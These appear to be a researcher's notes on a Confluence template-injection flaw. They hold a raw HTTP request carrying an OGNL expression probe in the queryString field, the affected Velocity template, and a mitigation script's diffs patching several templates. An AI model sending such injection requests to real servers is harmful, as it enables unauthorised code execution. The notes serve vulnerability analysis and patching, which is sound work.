userdirective:自定义函数路径
- POST /pages/doenterpagevariables.action HTTP/1.1
- Host: 0.0.0.0
- Pragma: no-cache
- Cache-Control: no-cache
- Upgrade-Insecure-Requests: 1
- User-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_7) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/92.0.4515.159 Safari/537.36
- Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.9
- Accept-Encoding: gzip, deflate
- Accept-Language: zh-CN,zh;q=0.9,en;q=0.8
- Cookie: seraph.confluence=10420225%3A99812635f8ead516748600dabcae6fb275114958; JSESSIONID=8476B9EB2D8EF2235053A3CB8A2C0500
- Connection: close
- Content-Type: application/x-www-form-urlencoded
- Content-Length: 45
-
- queryString=aaaa\u0027%2b#{3*333}%2b\u0027bbb
- <html>
- <head>
- #requireResource("confluence.web.resources:page-templates")
- <title>$action.getText("page.template.wizard")</title>
- </head>
-
- <body>
- #parse ( "/template/includes/actionerrors.vm" )
- #applyDecorator("root")
- #decoratorParam("helper" $action.helper)
- #decoratorParam("context" "space-pages")
- #decoratorParam("mode" "create-page")
-
- <div class="padded">
- <div class="steptitle" style="margin-top: 10px">$action.getText('pagevariables.step2')</div>
- <p>$action.getText('text.pagevariables.step2.instructions')</p>
-
- <div class="smallfont view-template">
- <div class="wiki-content">$action.renderedTemplateContent</div>
- </div>
-
- <form name="filltemplateform" method="POST" action="doenterpagevariables.action">
- #form_xsrfToken()
- #tag ("Hidden" "name='queryString'" "value='$!queryString'")
- #tag ("Hidden" "name='templateId'" "value='$pageTemplate.id'")
- #tag ("Hidden" "name='linkCreation'" "value='$linkCreation'")
- #tag ("Hidden" "name='title'" "value=title")
- #tag ("Hidden" "name='parentPageId'" "value=parentPageId")
- #tag ("Hidden" "name='fromPageId'" "value=fromPageId")
- #tag ("Hidden" "name='spaceKey'" "value=spaceKey")
-
- <div class="aui-toolbar2" role="toolbar">
- <div class="aui-toolbar2-inner">
- <input class="aui-button" type="button" value="$action.getText('back.witharrows.name')" onclick="javascript:history.go(-1)">
- #tag( "Submit" "name='confirm'" "id=confirm" "value='next.name'" "theme='notable'" "cssClass='aui-button'")
- </div>
- </div>
- </form>
-
- #parse ( "/pages/page-breadcrumbs.vm" )
- </div>
-
- #end
- </body>
- </html>
- File 1: 'confluence/users/user-dark-features.vm':
- a. backing up file.. done
- b. updating file.. done
- c. showing file changes..
- 70c70
- < #tag( "Component" "label='Enable dark feature:'" "name='featureKey'" "value='$!action.featureKey'" "theme='aui'" "template='text.vm'")
- ---
- > #tag( "Component" "label='Enable dark feature:'" "name='featureKey'" "value=featureKey" "theme='aui'" "template='text.vm'")
- d. validating file changes.. ok
- e. file updated successfully!
-
- File 2: 'confluence/login.vm':
- a. backing up file.. done
- b. updating file.. done
- c. showing file changes..
- 147c147
- < #tag( "Hidden" "name='token'" "value='$!action.token'" )
- ---
- > #tag( "Hidden" "name='token'" "value=token" )
- d. validating file changes.. ok
- e. file updated successfully!
-
- File 3: 'confluence/pages/createpage-entervariables.vm':
- a. backing up file.. done
- b. updating file.. done
- c. showing file changes..
- 24c24
- < #tag ("Hidden" "name='queryString'" "value='$!queryString'")
- ---
- > #tag ("Hidden" "name='queryString'" "value=queryString")
- 26c26
- < #tag ("Hidden" "name='linkCreation'" "value='$linkCreation'")
- ---
- > #tag ("Hidden" "name='linkCreation'" "value=linkCreation")
- d. validating file changes..ok
- e. file updated successfully!
-
- File 4: 'confluence/template/custom/content-editor.vm':
- a. backing up file.. done
- b. updating file.. done
- c. showing file changes..
- 64c64
- < #tag ("Hidden" "name='queryString'" "value='$!queryString'")
- ---
- > #tag ("Hidden" "name='queryString'" "value=queryString")
- 85c85
- < #tag ("Hidden" "id=sourceTemplateId" "name='sourceTemplateId'" "value='${templateId}'")
- ---
- > #tag ("Hidden" "id=sourceTemplateId" "name='sourceTemplateId'" "value=templateId")
- d. file updated successfully!
-
- File 5: 'confluence/WEB-INF/atlassian-bundled-plugins/confluence-editor-loader*.jar':
- a. extracting templates/editor-preload-container.vm from confluence/WEB-INF/atlassian-bundled-plugins/confluence-editor-loader-7.12.3.jar..
- Archive: confluence/WEB-INF/atlassian-bundled-plugins/confluence-editor-loader-7.12.3.jar
- inflating: ./templates/editor-preload-container.vm
- b. updating file.. done
- c. showing file changes..
- 56c56
- < #tag ("Hidden" "id=syncRev" "name='syncRev'" "value='$!{action.syncRev}'")
- ---
- > #tag ("Hidden" "id=syncRev" "name='syncRev'" "value=syncRev")
- d. validating file changes.. ok
- e. updating confluence/WEB-INF/atlassian-bundled-plugins/confluence-editor-loader-7.12.3.jar with ./templates/editor-preload-container.vm..updating: templates/editor-preload-container.vm (deflated 59%)
- -rw-r--r-- 1 zhangxinqi staff 13369 8 27 02:02 confluence/WEB-INF/atlassian-bundled-plugins/confluence-editor-loader-7.12.3.jar
- f. cleaning up temp files..ok
- g. extracting templates/editor-preload-container.vm from confluence/WEB-INF/atlassian-bundled-plugins/confluence-editor-loader-7.12.3.jar again to check changes within JAR..
- Archive: confluence/WEB-INF/atlassian-bundled-plugins/confluence-editor-loader-7.12.3.jar
- inflating: ./templates/editor-preload-container.vm
- h. validating file changes for file within updated JAR.. ok
- i. cleaning up temp files..ok
-
- Update completed!
$!
删除$action
$!action
都删除